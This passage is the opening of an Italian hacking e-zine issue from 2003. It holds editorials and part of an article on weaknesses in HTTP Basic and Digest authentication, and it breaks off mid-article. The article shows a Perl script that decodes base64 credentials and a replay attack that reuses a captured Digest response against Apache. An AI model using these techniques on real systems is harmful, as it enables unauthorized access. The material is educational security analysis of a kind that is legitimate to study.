,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ::::::::::::, .::::::::::::::::::::::::::::::,. .,:::,,.........,: ::::::::,. s@@@@@@#. .:::::, .,:::::::::. ,:. ,, :::::::::,.: ::::::, ;@@@@@@@@@@@@@: ,:: ;H@@Ar .:::::::. :@@@@@@: , s@@@@@s : :::::. 2@@@ :@@@@@@@H .:, @@@@@@@@@@: .::::: ,@@@r @@@G H@@@, s@@@: :::: s@@@2 ,,, #@@@@@@r :,:@@@@@@@@@@@; ,:::. 2@@# :@@# @@@2 #@@: :::, A@@@@ :::::, @@@@@@@ :, #@@@@@@@@ ::, .@@@ ,. 9@@M 9@@# A@@@: ::: @@@@@ ,:::::. 5@@@@@2 :::, S@@@@@@@@@: ,:,.#@@: ,, @@@; 2@@@@S@@@@@A: ::: i@@@@@G ,::::. r@@@@r .::: @@@@@@@@@@@ ,, @@@ : i@@H .;Ss,;@@h : ::: i@@@@@@A @@@@ .::, h@@@@@@@@@@@; @@H i@@# . 9@@@ , ::: @@@@@@@@@3;.i@@@S ,::. r@@@@@@@@@@@@@@H @@@ A@@3 .,, X@@@ ,: :::, .@@@@@@@@@@@@@: ,::, @@@@@@@@@@@@@@@@@@ @@@@@@3 ,.@@@@@@M .::: ::::, 9@@@@@@i .::::: @@@@@@@@@@@@@@@@@@@@@@@S ,::::::::::::::::::::: :::::,. .,::::, &@@@@@@@@@@@@@@@@@@@@@@@@H .:::::::::::::::::::: ::::::::. ,:. @@@@@@@@@@@@@@@@@@@@@@@@@@@; ,:::::::::::::::::: :::::, :@@@@@@@@@@@; .. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .::::::::::::::::: :::, M@@s ,@@@@@@@@2 . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .:::::::::::::::: ::. @@@# .. @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@; ,::::::::::::::: :, ,@@@@ :::::. @@@@@@i , &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ::::::::::::::: : @@@@2 ,::::::. r@@@@@r :, G@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,:::::::::::::: : S@@@@A ::::::: @@@@@ .:::. @@@@@@@@@@@@@@@@@@@@@@@@@H,A,,:::::::::::::: : H@@@@@; ,,,, 5@@@H ,:::: @@@@@@@@@@@@@@@@@@@@@@@@@@S ,:::::::::::::: : S@@@@@@@. H@@# ,:::::. @@@@@@@@@@@@@@@@@@@@@@@@@@@. ::::::::::::::: :. #@@@@@@@@@@@@@@& ,:::::::, @@@@@@@@@@@@@@@@@@@@@@@@@@@2 ::::::::::::::: :, &@@@@@@@@@H ,:::::,. M@@r2@@:@@@@@@@@@@@@@@@@@@@; ::::::::::::::: :::, A@: .,,,.2&22@@@@, A@@@@@@@@@@@@@@@@@@ ::::::::::::::: :::, .s@@@@@@@@@@@@A: s2@@@HA@@2B@M@@ A@@@@@@@@@@@@@@@ .:::::::::::::: :::,;@@@@@@@@@@@@@@@@@@@@h, ;@@@rs@@@@@@@@@@@@@@ .::::::::::::: :::, ,3@@@@@@@@@@@@@@@@2. .@@@@@@@@@@@@@@@G :::::,. ,:: :::::::::,,. r@@@@@@@@@@@@@@@@@h; ,S#@@@@@@@@@@@r ,. 2@3,:: :::::::::::::::,. ;#@@@@@@@@@@@@@@@@@i. &@@@@@@; :H@@@@S ,:: ::::::::::::::::::::,. .5@@@@@@@@@@@@@@@@@@Ai: :@@@@@@@; ,::: :::::::::::::::::::::::::,. :G@@@@@@@@@@@@@@@@@@@@@@@@A: .,:::::: :::::::::::::::::::::::::::::::,. ... .,,:::::::::: ::::::::::::::::::::::::::::::::::::::,,.. ..,,::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +--------------------------------------------------------------------------+ | ONDAQUADRA #09 - 01/06/2003 | +--------------------------------------------------------------------------+ | Tutto nel ciberspazio | | E' scandito dalla squarewave | | Dei micro-processori | | Il clock dei micro | | E' come | | Un battito cardiaco | | Elettronico... | +--------------------------------------------------------------------------+ | http://www.ondaquadra.org | | mail@ondaquadra.org ~ articoli@ondaquadra.org | +--------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | LEGAL DISCLAIMER | +--------------------------------------------------------------------------+ | | | Nessuna persona dello staff di OndaQuadra si assume responsibilita' | | per l'uso improprio dell'utilizzo dei testi e dei programmi presenti | | nella e-zine, ne' per danni a terzi derivanti da esso. | | OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni | | effettuate con la legge 23 dicembre 1993, n.547 ed in particolare | | agli artt. 615-quater- e 615-quinques-. | | Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come | | avvengono le tecniche di intrusione al fine di far comprendere come | | sia possibile difendersi da esse, rendere piu' sicura la propria box e | | in generale approfondire le proprie conoscenze in campo informatico. | | I programmi allegati sono semplici esempi di programmazione che hanno | | il solo scopo di permettere una migliore comprensione di quanto | | discusso e spiegato nei testi. | | Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, | | n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex | | art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge | | 8 febbraio 1948, n.47. | | | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | COSTITUZIONE DELLA REPUBBLICA ITALIANA | +--------------------------------------------------------------------------+ | Diritti e doveri dei cittadini: Rapporti civili | | | | Articolo 21 | | Tutti hanno diritto di manifestare liberamente il proprio pensiero | | con la parola, lo scritto e ogni altro mezzo di diffusione. [...] | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | INDICE | +--------------------------------------------------------------------------+ | [L0GiN] | | 0x01 PiRATi, RiBELLi E DANDY ................................ [oq~staff] | | 0x02 GURU MEDiTATi0N: FiLE N0T F0UND ....................... [Tritemius] | | 0x03 ViSi0NARi .............................................. [oq~staff] | +--------------------------------------------------------------------------+ | [HACKiNG] | | 0x04 PASSW0RD iN CHiAR0, AMiCiZiA LUNGA ......................... [eazy] | | 0x05 SYMB0LiC LiNK VULNERABiLiTiES ..................... [Master^Shadow] | +--------------------------------------------------------------------------+ | [NETW0RKiNG] | | 0x06 LE RETi ..................................................... [Spy] | | 0x07 iNTR0DUZi0NE ALLE RETi ..................................... [l1l0] | +--------------------------------------------------------------------------+ | [LiNUX] | | 0x08 I0, LiNUX ED UNA WEBCAM ..................................... [ink] | | 0x09 PATCH ?!? MA Si MANGiAN0? ................................. [spyro] | | 0x0A PKGT00L E SLACKWARE PACKAGES .............................. [spyro] | | 0x0B LiRC .................................................. [BrNoCrIsT] | +--------------------------------------------------------------------------+ | [C0DiNG] | | 0x0C PLUS #3 .................................................. [Mastro] | | 0x0D QUERY GUESSiNG ............................................. [eazy] | | 0x0E PR0MEM0RiA iN VB ........................................... [Pupi] | | 0x0F MATRiX ..................................................... [Pupi] | | 0x10 CREARE UNA DLL iN C PER ViSUAL BASiC .................. [cyberdude] | | 0x11 iNTERNET APPLiCATI0N iN DELPHi ........................ [cyberdude] | | 0x12 00P ..................................................... [warfare] | | 0x13 C0S'E' SGML ?? PARLiAM0NE UN P0' ...................... [cyberdude] | +--------------------------------------------------------------------------+ | [L'ANG0L0 DEGLi EXPL0iT] | | 0x14 SCRiVERE UN EXPL0iT DiM0STRATiV0 ................. [Auriemma Luigi] | | 0x15 BUFFER 0VERFL0W: DALLA TE0RiA ALLA PRATiCA ....... [Auriemma Luigi] | +--------------------------------------------------------------------------+ | [MiSC] | | 0x16 CHARGER HACKiNG ........................................... [bondo] | | 0x17 GUARDA GUARDA CHE Ti LEGG0 iL W0RD ....................... [Dagart] | +--------------------------------------------------------------------------+ | [L0 SCiAMAN0] | | 0x18 TRA RETE & REALTA' ......................................... [Pupi] | | 0x19 SCLER0 Di UN P0MERiGGi0 QUALUNQUE .......................... [Pupi] | | 0x1A #W0NDERLAND ........................................... [MinDBlinD] | +--------------------------------------------------------------------------+ | [L'APPRENDiSTA STREG0NE] | | 0x1B C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 6 ..... [Zer0] | | 0x1C 0VERCL0CK ESTREM0 Di UN ATHL0N XP ........................... [DJK] | | 0x1D CRYPT0APi iN DELPHi? MA CHE S0N0? ..................... [cyberdude] | | 0x1E BL0WCHAT - UNA CHAT CRiTTATA iN DELPHi .................. [Ippatsu] | +--------------------------------------------------------------------------+ | [SHUTD0WN] | | 0x1F iLLUSi0Ni ................................................... [rAn] | +--------------------------------------------------------------------------+ | [C0NTATTi] | | 0x20 D0VE TR0VARCi .......................................... [oq~staff] | +--------------------------------------------------------------------------+ | [ALLEGATi] | | 0x01 QUERY.TXT .............................................. [oq~staff] | | 0x02 BLOWCHAT.ZIP ........................................... [oq~staff] | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L0GiN #09 - 01/06/2003 | | PiRATi, RiBELLi E DANDY [oq~staff] 0x01/0x20 | +--------------------------------------------------------------------------+ | | | A molti di voi non sara' sfuggita l'accelerezione che ha subito il | | processo di banalizzazione della figura dell'hacking negli ultimi mesi. | | Banalizzazione dovuta alla massificazione della Rete prima e | | dell'hacking stesso poi. | | Le librerie sono ormai colme di libri su cui campeggia la | | scritta "hacker"; per non parlare delle edicole, sempre piu' | | traboccanti di riviste piu' o meno interessanti dedicate all'argomento. | | Non si tratta solo della stampa specializzata. Su quasi tutti i numeri | | di tutte le riviste di informatica, di novita' tecnologiche, di | | costume, si possono trovare articoli che trattano di sicurezza (questo | | e' il travestimento dell'hacking presso i benpensanti). | | E l'habitat naturale dell'hacker, Internet ? Stessa sorte. E' un | | moltiplicarsi di ezine, siti, mailing-list. Tutti, ma proprio tutti, | | parlano di hacking. | | Anzi, l'hacking e' diventato facile! Due click e lo ZoneAlarm e' | | installato, quindi sono un hacker ! Ho scoperto il traceroute, ho | | installato Linux, ho la maglietta col pinguino: sono un hacker ! | | A che serve oggi una ezine, una crew, un sito di hacking se tutte le | | informazioni, le attivita' che una volta si potevano trovare solo su | | Internet possono facilmente essere reperite ovunque, in qualsiasi | | edicola ? | | Alla base del problema vi e' un fraintendimento della figura | | dell'hacker; gli appartenenti stessi all'eterogeneo mondo hackersco | | sono caduti nella trappola ed hanno via via rinunciato alle | | caratteristiche fondamentali dell'hacking per diventare i docili | | cagnolini massificati dell'era digitale. | | Fin dall'inizio la cultura hacker si contraddistinguo per alcune | | caratteristiche: | | L'amore per le conoscenze "proibite" e l'estetica del linguaggio. | | Inutile negarlo: tutti quelli che in un modo o nell'altro sono stati | | affascinati dall'hacking sono stati attratti dalla possibilita' di fare | | cose proibite o di avere accesso a informazioni proibite. | | Quindi le crew di hacker (pirati) si formano spinti dalla ricerca del | | proibito e creano un linguaggio che li distingue; un linguaggio | | tecnichese ma non pedante o accademico. | | Nelle stesse ezine delle origini (pensiamo a phrack), l'aspetto | | interessante non era la qualita' o il grado di "innovazione" delle | | informazioni pubblicate, quanto il linguaggio utilizzato; questo | | aspetto viene mostrato con efficacia da Bruce Sterling nel libro "Giro | | di vite contro gli hackers". | | L'hacker deve quindi tornare alla sua cultura, alla cultura del proibito | | supportata da una buona dose di estetismo. | | Torniamo a Prometeo passando per Oscar Wilde. Siamo pirati: pirati, | | ribelli e dandy. | | | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L0GiN #09 - 01/06/2003 | | GURU MEDiTATi0N: FiLE N0T F0UND [Tritemius] 0x02/0x20 | +--------------------------------------------------------------------------+ | | | | | Se fino a qualche anno fa Internet poteva essere definita un'Interzona | | oggi non e' piu' possibile. | | La Rete e' presa d'assalto dalle orde capitalistiche, dagli spammatori, | | dai signori dei dialers. | | Internet, la nuova terra da colonizzare e' stata infine catturata. Il | | controllo e' sempre piu' forte; la massificazione ha fatto il resto. Di | | fatto l'assorbimento di Internet da parte del conformismo, del | | mainstream, da quelli che benpensano e' piu' un atto di imperialismo | | psichico che di controllo tecnico effettivo. | | Prima ancora che dai Carnivore, dagli Echelon, dai Sorm vari, l'attacco | | e' stato sferrato in modo subliminale dai meccanismi di persuasione | | occulta. Hollywood e i suoi derivati sono ancora le portaerei piu' | | temibili. | | Il Leviatano ha proiettato, tramite i suoi meccanismi di propaganda e | | ipnosi, la sua visione della Rete nelle coscienze dei cittadini; anzi, | | degli spettatori in quanto oggi i cittadini del moderno occidente non | | sono piu' tali, bensi' spettatori di una rappresentazione, uno | | spettacolo. | | Dietro allo sfavillante colossal del potere economico, finanziario | | e bellico si nasconde il Nulla. | | L'imperialismo psichico agisce prima sulla coscienza e di conseguenza | | nella realta'. | | La proiezione del Leviatano e' una mappa, una convenzione usata per | | esercitare controllo; ma come e' noto la mappa non e' il territorio. | | E se il territorio e' molto diverso dalla mappa, allora possiamo | | pensare di utilizzare Internet come infrastruttura di una Controrete. | | Possiamo infiltrarci negli spazi lasciati liberi dalla mappa psichica e | | instaurare le nostre Utopie Pirata. La nostra battaglia sara' quindi | | una "scomparsa". | | Di fronte all'onnipresenza e alla pienezza del Leviatano noi svaniremo, | | tatticamente diverremo il Vuoto. Saremo degli spiriti nel | | sistema; "file not found" ringhiera' il Leviatano alla nostra | | ricerca incapace di trovarci; ma noi saremo li', come virus travestiti | | da alternate data streams ! | | Di fronte all'onnipresenza e alla pienezza del Leviatano noi svaniremo. | | I nostri nemici non potranno far altro che rincorrere i fantasmi, | | rincorrere il Vento finche' non riusciranno a ridefinire il nemico e ad | | aggiornare la mappa. | | Ma sara' troppo tardi: ci saremo gia' mossi verso un nuovo nascondiglio | | indefinibile e saremo di nuovo inafferrabili. | | Il Meraviglioso ci attende. | | | | ("TAZ: Zone Temporaneamente Autonome", Hakim Bey, edizioni Shake). | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L0GiN #09 - 01/06/2003 | | ViSi0NARi [oq~staff] 0x03/0x20 | +--------------------------------------------------------------------------+ | "Anche il Vuoto possiede un ritmo" | | (Miyamoto Musashi) | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ HACKiNG #09 - 01/06/2003 | | PASSW0RD iN CHiAR0, AMiCiZiA LUNGA [eazy] 0x04/0x20 | +--------------------------------------------------------------------------+ | | | | | | | 1. Premessa | | | | 2. Tipi di Autenticazione | | | | 3. Basic Authentication | | 3.1 Decode Base64 | | | | 4. Digest Authentication | | 4.1 Replay Attack | | 4.2 MITM Attack | | 4.3 Brute Force Attack | | 4.4 Implementazione | | | | | | | | | | 1. Premessa | | | | Uno schema di autenticazione forte rappresenta un elemento essenziale | | per la sicurezza del sistema, negli ultimi anni sono stati fatti grossi | | passi in avanti grazie all'introduzione di servizi che permettono la | | criptazione delle credenziali di accesso dell'utente. | | Tuttavia molti servizi a rischio tardano spesso ad essere rimpiazzati | | con una versione sicura che implementi la crittografia della sessione | | esponendo in tal modo il sistema ad accessi non autorizzati. | | | | Il presente documento intende fornire al lettore una panoramica delle | | principali vulnerabilità legate all'utilizzo di uno schema di | | autenticazione debole per quanto riguarda il protocollo HTTP. | | | | | | 2. Tipi di autenticazione | | | | Al fine di fornire un accesso autenticato ad una risorsa raggiungibile | | tramite HTTP possiamo avvalerci di diversi sistemi a seconda delle | | nostre esigenze, come vedremo in seguito alcuni di essi si riveleranno | | al quanto insicuri. | | I sistemi di autenticazione HTTP che hanno visto una maggiore diffusione | | sono principalmente due e sono presentati nel corso di questo testo in | | ordine crescente in base al livello di sicurezza che sono in grado di | | offrire: | | | | 1) Basic Authentication | | schema di autenticazione debole, il nome utente e la password vengono | | inviate in rete codificate in base64; | | | | 2) Digest Authentication | | viene trasmesso in rete l'hash del nome utente e la password, un | | meccanismo di challange/response previene la possibilità di replay | | attack; | | | | Nei prossimi capitoli i due schemi di autenticazione verranno analizzati | | separatamente e verranno sollevate le dovute considerazioni inerenti la | | sicurezza degli stessi. | | | | | | 3. Basic Authentication | | | | Lo schema di autenticazione basic prevede che le credenziali dell'utente | | vengano inviate in rete codificate in base64, questo equivale a tutti | | gli effetti a trasmettere nome utente e password in chiaro con le ovvie | | conseguenze del caso. | | | | Nel momento in cui il client richiede tramite una GET una pagina | | protetta da una basic authentication... | | | | | | 20:54:39 192.168.1.4:1167 --> 192.168.1.6:80 | | | | GET /login HTTP/1.0. | | Connection: Keep-Alive. | | User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.18 i686). | | Host: paperino.linuxbox.com. | | Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*. | | Accept-Encoding: gzip. | | Accept-Language: en. | | Accept-Charset: iso-8859-1,*,utf-8. | | | | | | ...il server gli risponde con un messaggio 401 Authorization Required | | per mezzo del quale gli richiede di autenticarsi per accedere a tale | | risorsa. Nell'header HTTP di tale messaggio compare la voce | | WWW-Authenticate che specifica lo schema di autenticazione da adottarsi | | e il realm al quale appartiene la risorsa di cui si sta facendo | | richiesta... | | | | | | 20:54:39 192.168.1.6:80 --> 192.168.1.4:1167 | | | | HTTP/1.1 401 Authorization Required. | | Date: Thu, 30 Jan 2003 20:51:29 GMT. | | Server: Apache/1.3.26 (Unix). | | WWW-Authenticate: Basic realm="Login". | | Connection: close. | | Content-Type: text/html; charset=iso-8859-1. | | | | | | ...il client ripete la GET precedente fornendo questa volta le proprie | | credenziali che vengono inoltrate per mezzo della voce Authorization | | che compare nell'header... | | | | | | 20:55:18 192.168.1.4:1168 --> 192.168.1.6:80 | | | | GET /login HTTP/1.0. | | Connection: Keep-Alive. | | User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.18 i686). | | Host: paperino.linuxbox.com. | | Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*. | | Accept-Encoding: gzip. | | Accept-Language: en. | | Accept-Charset: iso-8859-1,*,utf-8. | | Authorization: Basic cGlwcG86cGlwcG8=. | | | | | | ...il valore del campo Authorization specifica rispettivamente lo schema | | adottato e le credenziali dell'utente codificate in base64. | | | | | | 3.1 Decode Base64 | | | | Il valore codificato in base64 può essere decodificato applicando la | | relativa funzione di decodifica, allego qui di seguito un semplice | | script in Perl, scritto da un certo Dragon, che assolve egregiamente | | tale funzione: | | | | ---------------- decode_base64.pl ---------------- | | | | # /usr/bin/perl | | # author: Dragon - dragon@securityassoc.com | | # simple perl script to convert Base64 to clear-text | | # Many weak security mechanisms as well as transport protocols | | # rely on base64 encoding scheme. | | # Examples : HTTP basic authentication, SMTP base64 attachments | | | | use MIME::Base64; | | | | print " \n"; | | print " Author: The Singapore Dragon - dragon\@securityassoc.com\n"; | | print " Web: www.securityassoc.com\n\n"; | | print " Usage decode_base64.pl [encoded-text] \n"; | | print " \n"; | | | | my $encoded = shift; | | $decode = decode_base64($encoded); | | print " The decoded data is: $decode\n"; | | | | ---------------- decode_base64.pl ---------------- | | | | | | Possiamo in questo modo applicare la funzione di decodifica al valore in | | base64 esaminato utilizzando lo script decode_base64.pl: | | | | # perl decode_base64.pl cGlwcG86cGlwcG8= | | | | Author: The Singapore Dragon - dragon@securityassoc.com | | Web: www.securityassoc.com | | | | Usage decode_base64.pl [encoded-text] | | | | The decoded data is: pippo:pippo | | | | | | Un utente malizioso che sia venuto in possesso delle nostre credenziali | | può in questo modo ottenere un accesso non autorizzato all'intero realm. | | | | | | 4. Digest Authentication | | | | L'intento della digest authentication è quello di offrire uno schema di | | autenticazione alternativo alla basic authentication in grado di | | sopperire, almeno in parte, alle gravi mancanze da esso dimostrate. | | Nel corso dell'articolo ci addentreremo nell'analisi dell' | | implementazione fornita dal modulo mod_digest.c che viene caricato di | | default dalla release apache-1.3.27, la più recente disponibile al | | momento per quanto riguarda la serie 1.3.x. | | | | Grazie allo schema digest le credenziali dell'utente non vengono mai | | mandate in chiaro, bensì viene inviato un hash (response) di tali | | valori. Al momento della connessione il client richiede una risorsa | | protetta tramite una GET... | | | | | | 11:34:22 192.168.1.5:32775 --> 192.168.1.4:80 | | | | GET /login/ HTTP/1.1. | | User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). | | Accept: text/*, image/jpeg, image/png, image/*, */*. | | Accept-Encoding: x-gzip, gzip, identity. | | Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. | | Accept-Language: en, POSIX. | | Host: pippo.linuxbox.com. | | | | | | ...come per la basic il server gli risponde con un messaggio 401 | | Authorization Required per mezzo del quale gli richiede di autenticarsi | | per accedere a tale risorsa. Alla voce WWW-Authenticate è indicato lo | | schema di autenticazione da adottarsi unitamente al realm e al nonce... | | | | | | 11:34:22 192.168.1.4:80 --> 192.168.1.5:32775 | | | | HTTP/1.1 401 Authorization Required. | | Date: Tue, 04 Feb 2003 10:34:22 GMT. | | Server: Apache/1.3.20 (Unix). | | WWW-Authenticate: Digest realm="Login", nonce="1044354862". | | Transfer-Encoding: chunked. | | Content-Type: text/html; charset=iso-8859-1. | | | | | | ...il client ripete la GET fornendo le credenziali necessarie per | | garantirsi l'accesso alla risorsa, tali credenziali sono rappresentate | | in particolar modo dal valore del campo response... | | | | | | 11:34:28 192.168.1.5:32776 --> 192.168.1.4:80 | | | | GET /login/ HTTP/1.1. | | User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). | | Accept: text/*, image/jpeg, image/png, image/*, */*. | | Accept-Encoding: x-gzip, gzip, identity. | | Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. | | Accept-Language: en, POSIX. | | Host: pippo.linuxbox.com. | | Authorization: Digest username="pippo", realm="Login", | | nonce="1044354862", uri="/login/", algorithm="MD5", | | response="f39e7e7e63adffc9d7a06e9c0ce68d03". | | | | | | Il valore del response viene calcolato dando in pasto all'algoritmo MD5 | | una serie di parametri (concatenati per mezzo di ":") che rappresentano | | le credenziali e la richiesta avanzata dal client per una data risorsa: | | username, realm, password, nonce, method e request URI. | | | | response = MD5(MD5(username:realm:passwd):nonce:MD5(method:request URI)) | | | | Dal valore dell'hash non è possibile risalire alle credenziali dell' | | utente per la natura stessa dell'algoritmo MD5. | | Segue una breve descrizione dei parametri che prendono parte alla | | generazione dell'hash di response da parte del client: | | | | username: rappresenta il nome dell'utente che richiede l'autenticazione | | per l'accesso ad una certa risorsa; | | | | passwd: la password di accesso al realm per un dato username; | | | | nonce: un challenge inviato dal server per introdurre variabilità nella | | generazione del response da parte del client e impedire il riutilizzo | | dello stesso response per accessi successivi in modo tale da prevenire | | replay attack; | | | | method: il metodo HTTP riferito alla risorsa specificata dal request | | URI, impedisce che lo stesso response posso essere utilizzato per | | riferire una risorsa con due o più metodi HTTP differenti; | | | | request URI: la risorsa a cui si desidera ottenere accesso, impedisce | | che lo stesso response possa essere utilizzato per accedere a risorse | | differenti all'interno del realm; | | | | La funzione di ciascuno di tali parametri nella generazione dell'hash di | | response verrà meglio chiarita nel corso dell'articolo, è bene tener | | presente che ognuno di essi svolge un ruolo fondamentale per assicurare | | una certa robustezza allo schema di autenticazione nel suo complesso. | | | | Il server mantiene in locale un database relativo alle credenziali degli | | utenti per ogni realm, ogni entry di tale file è composta dall'hash MD5 | | di username, realm e password, ovvero: | | | | MD5(username:realm:passwd) | | | | In questo modo il server è messo nelle condizioni di poter calcolare | | dinamicamente il response corretto al variare dei valori relativi a | | nonce, method e request URI. | | Il response calcolato dinamicamente dal server viene confrontato con | | quello ricevuto di volta in volta dal client, se questi corrispondono | | viene consentito l'accesso alla risorsa protetta. | | | | | | 4.1 Replay Attack | | | | Un replay attack consiste nel riutilizzo di uno stesso response per | | ottenere accessi successivi ad una certa risorsa. | | Facciamo il caso di un ipotetico schema di autenticazione che preveda la | | generazione di un response secondo il seguente algoritmo: | | | | response = MD5(username:realm:passwd) | | | | Le credenziali non vengono trasmesse in chiaro, ma un utente malizioso | | che dovesse venire in possesso semplicemente dell'hash da esse ottenuto | | si garantirebbe un accesso duraturo al sistema pur non conoscendo ne | | l'username ne la password. Esso potrebbe, infatti, limitarsi a replicare | | il response precedentemente catturato che rappresenta la sola risorsa | | necessaria perchè l'autenticazione abbia successo. | | | | Per ovviare a tale problema entra in gioco il nonce, il cui valore viene | | generato di volta in volta dal server allo scopo di invalidare un | | response precedentemente utilizzato e impedirne così la ripetizione: | | | | response = MD5(MD5(username:realm:passwd):nonce) | | | | Tuttavia l'utilizzo di un nonce differente per ogni richiesta ha una | | grossa ricaduta sulle prestazioni a causa della totale impossibilità di | | gestire richieste in parallelo. | | Questo ha portato a una soluzione che rappresenta un compromesso tra | | prestazioni e sicurezza e si compone dei seguenti punti: | | | | 1) introduzione di un tempo massimo di validità entro il quale il nonce | | può essere riutilizzato: | | | | nonce = time-stamp H(time-stamp) | | | | 2) utilizzo dell'IP del client nella generazione del nonce al fine di | | limitare il riutilizzo dello stesso da parte dell'host legittimo: | | | | nonce = time-stamp H(time-stamp ":" IP) | | | | 3) aggiunta dei campi method e request URI per circoscrivere la | | ripetibilità del response ad una risorsa precisa: | | | | response = MD5(MD5(username:realm:passwd):nonce:MD5(method:request URI)) | | | | | | Purtroppo l'implementazione offerta da mod_digest.c non si è rivelata | | sufficientemente restrittiva e aderente alle linee descritte dall'RFC | | 2617 da impedire del tutto la possibilità di replay attack su una | | risorsa: | | | | | | 16:26:28 192.168.1.4:80 --> 192.168.1.5:32768 | | | | HTTP/1.1 401 Authorization Required. | | Date: Tue, 04 Feb 2003 15:26:28 GMT. | | Server: Apache/1.3.20 (Unix). | | WWW-Authenticate: Digest realm="Login", nonce="1044372388". | | Transfer-Encoding: chunked. | | Content-Type: text/html; charset=iso-8859-1. | | | | | | // Accesso legittimo | | | | 16:26:33 192.168.1.5:32769 --> 192.168.1.4:80 | | | | GET /login/ HTTP/1.1. | | User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). | | Accept: text/*, image/jpeg, image/png, image/*, */*. | | Accept-Encoding: x-gzip, gzip, identity. | | Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. | | Accept-Language: en, POSIX. | | Host: pippo.linuxbox.com. | | Authorization: Digest username="pippo", realm="Login", | | nonce="1044372388", uri="/login/", algorithm="MD5", | | response="df7307fddc38e8d63dee5e60cf56cbf8". | | | | | | 16:26:33 192.168.1.4:80 --> 192.168.1.5:32769 | | | | HTTP/1.1 200 OK. | | Date: Tue, 04 Feb 2003 15:26:33 GMT. | | Server: Apache/1.3.20 (Unix). | | Transfer-Encoding: chunked. | | Content-Type: text/html. | | | | | | // Accesso tramite replay attack, a circa 30 secondi dall'accesso | | // precedente, stesso nonce e stesso response da un diverso IP | | | | 16:27:08 192.168.1.6:32774 --> 192.168.1.4:80 | | | | GET /login/ HTTP/1.1. | | User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). | | Pragma: no-cache. | | Cache-control: no-cache. | | Accept: text/*, image/jpeg, image/png, image/*, */*. | | Accept-Encoding: x-gzip, gzip, identity. | | Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. | | Accept-Language: en, POSIX. | | Host: pippo.linuxbox.com. | | Authorization: Digest username="pippo", realm="Login", | | nonce="1044372388", uri="/login/", algorithm="MD5", | | response="df7307fddc38e8d63dee5e60cf56cbf8". | | | | | | 16:27:08 192.168.1.4:80 --> 192.168.1.6:32774 | | | | HTTP/1.1 200 OK. | | Date: Tue, 04 Feb 2003 15:27:08 GMT. | | Server: Apache/1.3.20 (Unix). | | Transfer-Encoding: chunked. | | Content-Type: text/html. | | | | | | Un'implementazione molto più robusta della digest authentication viene | | fornita dal modulo mod_auth_digest.c che viene ritenuto ancora in fase | | sperimentale ma che si rivela molto più efficace nel prevenire la | | possibilità di replay attack. Come vedremo in seguito tale schema non è | | tuttavia sufficiente per contrastare attacchi avanzati quali man in the | | middle o attacchi basati sulla crittoanalisi. | | | | | | 4.2 MITM Attack | | | | Un attacco man-in-the-middle (MITM) consente, ad un host estraneo alla | | procedura di autenticazione, di sostituirsi ad uno o ad entrambi i capi | | della comunicazione. Più precisamente, attraverso un MITM un utente | | malevolo è in grado di impersonificare il client o il server al fine di | | compromettere la sicurezza dello schema digest. | | | | Nel corso dell'articolo non entrerò in merito alle modalità con cui può | | essere condotto un attacco MITM, ad ogni modo per chi fosse interessato | | ad approfondire l'argomento può trovare dei riferimenti nell'articolo | | "Code Injection" comparso nel numero 8 di Ondaquadra, che illustra | | alcune possibili applicazioni di questa tecnica. | | | | Una volta guadagnata la posizione "nel mezzo" un utente malevolo è | | in grado di impersonificare il server e manipolare le informazioni che | | da esso provengono. | | Un possibile scenario prevede la manipolazione da parte dell'attaccante | | degli header HTTP al fine di forzare il client ad autenticarsi | | utilizzando uno schema debole quale una basic authentication. | | Ad esempio, il client esegue una GET su una risorsa protetta dal server | | con uno schema digest... | | | | | | 20:54:39 192.168.1.4:1167 --> 192.168.1.6:80 | | | | GET /login HTTP/1.0. | | Connection: Keep-Alive. | | User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.18 i686). | | Host: paperino.linuxbox.com. | | Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*. | | Accept-Encoding: gzip. | | Accept-Language: en. | | Accept-Charset: iso-8859-1,*,utf-8. | | | | | | ...il server risponde con un messaggio 401 Authorization Required con il | | quale invita il client ad autenticarsi per mezzo di uno 